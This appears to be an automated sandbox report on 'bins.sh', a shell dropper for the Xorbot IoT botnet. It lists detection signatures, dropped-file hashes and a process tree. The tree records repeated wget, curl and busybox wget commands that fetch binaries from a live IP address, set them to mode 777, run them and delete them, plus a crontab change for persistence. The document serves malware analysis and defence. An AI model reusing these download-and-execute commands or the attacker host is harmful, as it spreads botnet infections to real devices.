Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    14/01/2025, 01:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250114-bnc4rssnd1
  • SHA256 31f2db278251d6fbc718b868718f077aafc1580f0dd44bc2fb3acacf3f32944a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1989) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:700
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://94.154.35.94/bins/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • File and Directory Permissions Modification
          PID:732
        • /tmp/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          ./7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:733
        • /bin/rm
          rm 7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
          2⤵
          • System Network Configuration Discovery
          PID:735
        • /usr/bin/wget
          wget http://94.154.35.94/bins/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • Writes file to tmp directory
          PID:736
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • Writes file to tmp directory
          PID:738
        • /bin/chmod
          chmod 777 l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          ./l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://94.154.35.94/bins/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/chmod
            chmod 777 VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • File and Directory Permissions Modification
            PID:760
          • /tmp/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            ./VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:762
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:764
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:766
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:768
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:769
                • /bin/rm
                  rm VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                  2⤵
                    PID:779
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                    2⤵
                      PID:783
                    • /usr/bin/curl
                      curl -O http://94.154.35.94/bins/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                      2⤵
                        PID:786
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                        2⤵
                        • Writes file to tmp directory
                        PID:788
                      • /bin/chmod
                        chmod 777 frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                        2⤵
                        • File and Directory Permissions Modification
                        PID:885
                      • /tmp/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                        ./frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                        2⤵
                        • Executes dropped EXE
                        PID:886
                      • /bin/rm
                        rm frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                        2⤵
                          PID:890
                        • /usr/bin/wget
                          wget http://94.154.35.94/bins/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                          2⤵
                            PID:891
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                            2⤵
                              PID:897
                            • /bin/busybox
                              /bin/busybox wget http://94.154.35.94/bins/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                              2⤵
                              • Writes file to tmp directory
                              PID:898
                            • /bin/chmod
                              chmod 777 YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                              2⤵
                              • File and Directory Permissions Modification
                              PID:900
                            • /tmp/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                              ./YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                              2⤵
                              • Executes dropped EXE
                              PID:901
                            • /bin/rm
                              rm YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                              2⤵
                                PID:903
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                2⤵
                                  PID:904
                                • /usr/bin/curl
                                  curl -O http://94.154.35.94/bins/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                  2⤵
                                    PID:905
                                  • /bin/busybox
                                    /bin/busybox wget http://94.154.35.94/bins/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:906
                                  • /bin/chmod
                                    chmod 777 BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:907
                                  • /tmp/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                    ./BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                    2⤵
                                    • Executes dropped EXE
                                    PID:908
                                  • /bin/rm
                                    rm BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                    2⤵
                                      PID:910
                                    • /usr/bin/wget
                                      wget http://94.154.35.94/bins/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                      2⤵
                                        PID:916
                                      • /usr/bin/curl
                                        curl -O http://94.154.35.94/bins/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                        2⤵
                                          PID:919
                                        • /bin/busybox
                                          /bin/busybox wget http://94.154.35.94/bins/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:920
                                        • /bin/chmod
                                          chmod 777 ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:921
                                        • /tmp/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                          ./ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                          2⤵
                                          • Executes dropped EXE
                                          PID:922
                                        • /bin/rm
                                          rm ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                          2⤵
                                            PID:928
                                          • /usr/bin/wget
                                            wget http://94.154.35.94/bins/x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl
                                            2⤵
                                              PID:929
                                            • /usr/bin/curl
                                              curl -O http://94.154.35.94/bins/x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl
                                              2⤵
                                                PID:930
                                              • /bin/busybox
                                                /bin/busybox wget http://94.154.35.94/bins/x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:931
                                              • /bin/chmod
                                                chmod 777 x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:933
                                              • /tmp/x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl
                                                ./x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl
                                                2⤵
                                                • Executes dropped EXE
                                                PID:934
                                              • /bin/rm
                                                rm x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl
                                                2⤵
                                                  PID:936
                                                • /usr/bin/wget
                                                  wget http://94.154.35.94/bins/QjoqNgeZWXLSS84nleYTEVSmcNqYCuD2NK
                                                  2⤵
                                                    PID:937
                                                  • /usr/bin/curl
                                                    curl -O http://94.154.35.94/bins/QjoqNgeZWXLSS84nleYTEVSmcNqYCuD2NK
                                                    2⤵
                                                      PID:938
                                                    • /bin/busybox
                                                      /bin/busybox wget http://94.154.35.94/bins/QjoqNgeZWXLSS84nleYTEVSmcNqYCuD2NK
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:939
                                                    • /bin/chmod
                                                      chmod 777 QjoqNgeZWXLSS84nleYTEVSmcNqYCuD2NK
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:940
                                                    • /tmp/QjoqNgeZWXLSS84nleYTEVSmcNqYCuD2NK
                                                      ./QjoqNgeZWXLSS84nleYTEVSmcNqYCuD2NK
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:941
                                                    • /bin/rm
                                                      rm QjoqNgeZWXLSS84nleYTEVSmcNqYCuD2NK
                                                      2⤵
                                                        PID:943
                                                      • /usr/bin/wget
                                                        wget http://94.154.35.94/bins/ci73JpNFvNKnsjyQl1Wm382gbcUChVcO3B
                                                        2⤵
                                                          PID:944

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp

                                                            • Path /tmp/7ipnQ8AiiJ7yqrvczEAxaMIIUp9QZWeMTp
                                                            • Size 119KB
                                                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8

                                                            • Path /tmp/BWKGjKtrvOlSS3OYkXLftqxv5LTlpU41I8
                                                            • Size 107KB
                                                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            QjoqNgeZWXLSS84nleYTEVSmcNqYCuD2NK

                                                            • Path /tmp/QjoqNgeZWXLSS84nleYTEVSmcNqYCuD2NK
                                                            • Size 98KB
                                                            • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop

                                                            • Path /tmp/VDH9SuslI3mafpY64H2CVxNdxLDaVcFLop
                                                            • Size 151KB
                                                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP

                                                            • Path /tmp/YuuUXH1XM36WgzL80yaDfAQ0rtoAN1drRP
                                                            • Size 111KB
                                                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv

                                                            • Path /tmp/frmZOpv08wTV8ZPtmBeYGL3Edo6y50WMNv
                                                            • Size 111KB
                                                            • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr

                                                            • Path /tmp/ijtE8uc1QGyXd4wzktWmmTsAqNrEmUA8Xr
                                                            • Size 112KB
                                                            • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl

                                                            • Path /tmp/l3NwJLgw1VAWrpdzkVVTatKuk01vwcarrl
                                                            • Size 141KB
                                                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl

                                                            • Path /tmp/x2PtODheDBORP5Hw1E7D6fNTQ79adSUcKl
                                                            • Size 99KB
                                                            • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                            • MD5 SHA1 SHA512 SSDEEP

                                                            tmp.NDxpWq

                                                            • Path /var/spool/cron/crontabs/tmp.NDxpWq
                                                            • Size 210B
                                                            • SHA256 d5bc4c98602d37aa198e66c5380805b9a2996bc188eff9fd4c8937ea39eec7ff
                                                            • MD5 SHA1 SHA512